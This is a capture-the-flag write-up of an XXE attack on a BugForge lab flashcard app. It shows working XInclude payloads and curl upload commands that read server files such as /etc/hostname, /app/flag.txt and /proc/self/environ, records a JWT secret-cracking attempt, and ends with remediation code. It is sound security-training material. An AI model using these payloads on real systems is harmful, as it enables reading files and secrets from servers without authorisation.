BugForge — 2026.03.23

Tanuki: XXE via XInclude Bypass

BugForge XXE hard

Overview

  • Platform: BugForge
  • Vulnerability: XXE via XInclude — Arbitrary File Read
  • Key Technique: XInclude directive bypass of DTD restrictions in XML parser to exfiltrate server files
  • Result: Read /app/flag.txt via crafted XML deck import

Objective

Capture the flag by exploiting the Tanuki flashcard study application.

Initial Access

# Target Application
URL: https://lab-1774304876100-b1eca1.labs-app.bugforge.io

# Auth details
POST /api/register (no auth required) — returns JWT (HS256) + user object
Registered as user "haxor" (id: 4)
JWT payload: {"id":4,"username":"haxor","iat":1774304896} — no expiry claim

Key Findings

  1. XXE via XInclude — Arbitrary File Read (CWE-611: Improper Restriction of XML External Entity Reference)
    • The /api/decks/import endpoint accepts XML file uploads and processes XInclude directives
    • Classic DOCTYPE-based XXE is blocked (DTDs disabled), but XInclude bypasses this entirely
    • File content is stored in the database and returned via the study cards API
    • Impact: Read arbitrary files from the server filesystem
  2. Overly Permissive CORS (CWE-942: Permissive Cross-domain Policy)
    • Access-Control-Allow-Origin: * allows any origin to make authenticated requests
  3. JWT Without Expiration (CWE-613: Insufficient Session Expiration)
    • JWT tokens have no exp claim — tokens never expire

Attack Chain Visualization

┌─────────────┐     ┌──────────────────┐     ┌────────────────────┐
│  Register   │────▶│  Craft XML Deck  │────▶│  Upload via        │
│  Account    │     │  with XInclude   │     │  /api/decks/import │
│  (get JWT)  │     │  file:// href    │     │  (multipart)       │
└─────────────┘     └──────────────────┘     └────────┬───────────┘
                                                      │
                                                      ▼
                                             ┌────────────────────┐
                                             │  GET /api/study/   │
                                             │  :deckId/cards     │
                                             │                    │
                                             │  File content in   │
                                             │  card <front> field│
                                             └────────────────────┘

Application Architecture

Component Path Description
Frontend / React SPA (flashcard study interface)
Auth API /api/register, /api/login JWT HS256 authentication
Deck API /api/decks, /api/decks/import Deck CRUD + XML/JSON import
Study API /api/study/:id/cards Card retrieval for study sessions
Admin API /api/admin/* Role-gated admin endpoints (403 for non-admin)

Exploitation Path

Step 1: Register and Enumerate

Registered an account to obtain a JWT for authenticated requests. Mapped the API surface by inspecting the React SPA’s network requests and JavaScript bundles.

# Register
curl -s -X POST https://lab-1774304876100-b1eca1.labs-app.bugforge.io/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"haxor","password":"haxor123"}'

Response returned a JWT and user object (id: 4). Pre-existing users 1-3 suggested admin accounts.

Step 2: Identify XML Import Endpoint

The /api/decks/import endpoint accepts multipart file uploads in both JSON and XML format. This immediately flagged XXE as a potential attack vector.

Step 3: Test Classic XXE (DOCTYPE) — Blocked

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<deck>
  <name>XXE Test</name>
  <description>test</description>
  <category>test</category>
  <cards>
    <card>
      <front>&xxe;</front>
      <back>.</back>
    </card>
  </cards>
</deck>

Result: Deck created with default values and 0 cards. DTD processing is disabled — the parser silently ignores DOCTYPE declarations.

Step 4: Test XInclude — Success

XInclude is a separate XML mechanism that doesn’t require a DOCTYPE declaration. It uses a namespace-qualified element to include external content.

<?xml version="1.0" encoding="UTF-8"?>
<deck>
  <name>Exfil</name>
  <description>test</description>
  <category>test</category>
  <cards>
    <card>
      <front><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///etc/hostname" parse="text"/></front>
      <back>.</back>
    </card>
  </cards>
</deck>
curl -s -X POST https://lab-1774304876100-b1eca1.labs-app.bugforge.io/api/decks/import \
  -H "Authorization: Bearer <JWT>" \
  -F "file=@exfil.xml"

Retrieved the card via /api/study/:deckId/cards — the <front> field contained “Flag is somewhere else” (the content of /etc/hostname). XInclude processing is enabled.

Step 5: Locate and Exfiltrate the Flag

Iterated through common flag locations:

File Result
/etc/hostname “Flag is somewhere else”
/flag [object Object] — does not exist
/flag.txt [object Object] — does not exist
/proc/self/environ Resolved to hostname (null bytes broke parsing)
/app/flag.txt bug{PgwvvK4PAV4ZMXn5Fu3n9z9BmUJOHebf}
/app/.env [object Object] — does not exist

Final payload targeting /app/flag.txt:

<?xml version="1.0" encoding="UTF-8"?>
<deck>
  <name>Exfil</name>
  <description>test</description>
  <category>test</category>
  <cards>
    <card>
      <front><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///app/flag.txt" parse="text"/></front>
      <back>.</back>
    </card>
  </cards>
</deck>

Flag / Objective Achieved

bug{PgwvvK4PAV4ZMXn5Fu3n9z9BmUJOHebf}

Flag retrieved from /app/flag.txt via XInclude file read through the deck import functionality.


Key Learnings

  • XInclude vs DOCTYPE XXE: Disabling DTD processing does not prevent XInclude-based XXE. XInclude is a separate W3C specification that must be independently disabled in the parser configuration.
  • Data persistence as exfil channel: The application stores XML-parsed content in the database, making file reads retrievable through normal API endpoints rather than requiring out-of-band exfiltration.
  • Non-existent file behavior: When XInclude targets a file that doesn’t exist, the parser returns [object Object] — this is a reliable indicator of a missing file vs. an empty file in Node.js XML parsers (likely libxmljs).
  • Null byte sensitivity: /proc/self/environ failed because null byte separators between environment variables break XInclude’s parse="text" mode.

Failed Approaches

Approach Result Why It Failed
JWT secret cracking (hashcat, rockyou) Exhausted 14M candidates Secret not in common wordlists
Classic XXE (DOCTYPE + ENTITY) Deck created with defaults, 0 cards DTD processing entirely disabled
IDOR on user resources No broken access control found Decks intentionally shared across users
/proc/self/environ via XInclude Resolved to hostname string Null byte separators break parse=”text”
Admin endpoint access (/api/admin/*) 403 “Admin access required” Role-gated, JWT forgery not pursued

Tools Used

Tool Purpose
curl API interaction and file upload
hashcat JWT secret cracking attempt
Burp Suite / Browser DevTools API surface enumeration via network traffic

Remediation

1. XXE via XInclude — Arbitrary File Read (CVSS: 7.5 - High)

Issue: XML parser processes XInclude directives, allowing server-side file reads through crafted XML uploads.

CWE Reference: CWE-611 — Improper Restriction of XML External Entity Reference

Fix:

// BEFORE (Vulnerable)
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(xmlString, { xinclude: true });

// AFTER (Secure)
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(xmlString, {
  noent: false,
  dtdload: false,
  dtdvalid: false,
  xinclude: false  // Explicitly disable XInclude processing
});

// BEST: Restrict import to JSON-only if XML is not a business requirement
app.post('/api/decks/import', upload.single('file'), (req, res) => {
  const deck = JSON.parse(req.file.buffer.toString());
  // ... process JSON deck
});

2. Overly Permissive CORS (CVSS: 5.3 - Medium)

Issue: Access-Control-Allow-Origin: * allows any origin to interact with authenticated API endpoints.

CWE Reference: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains

Fix:

// BEFORE (Vulnerable)
app.use(cors({ origin: '*' }));

// AFTER (Secure)
app.use(cors({
  origin: 'https://tanuki.example.com',
  credentials: true
}));

3. JWT Without Expiration (CVSS: 3.7 - Low)

Issue: JWT tokens are issued without an exp claim, meaning they never expire.

CWE Reference: CWE-613 — Insufficient Session Expiration

Fix:

// BEFORE (Vulnerable)
const token = jwt.sign({ id: user.id, username: user.username }, secret);

// AFTER (Secure)
const token = jwt.sign({ id: user.id, username: user.username }, secret, {
  expiresIn: '1h'
});

OWASP Top 10 Coverage

  • A05:2021 — Security Misconfiguration: XInclude processing enabled in XML parser without business need; overly permissive CORS policy
  • A07:2021 — Identification and Authentication Failures: JWT tokens without expiration claims
  • A08:2021 — Software and Data Integrity Failures: Untrusted XML input processed without adequate restrictions

References


Tags: #xxe #xinclude #xml #file-read #bugforge #node-express Document Version: 1.0 Last Updated: 2026-03-23

#XXE #XInclude #DTD-bypass #file-read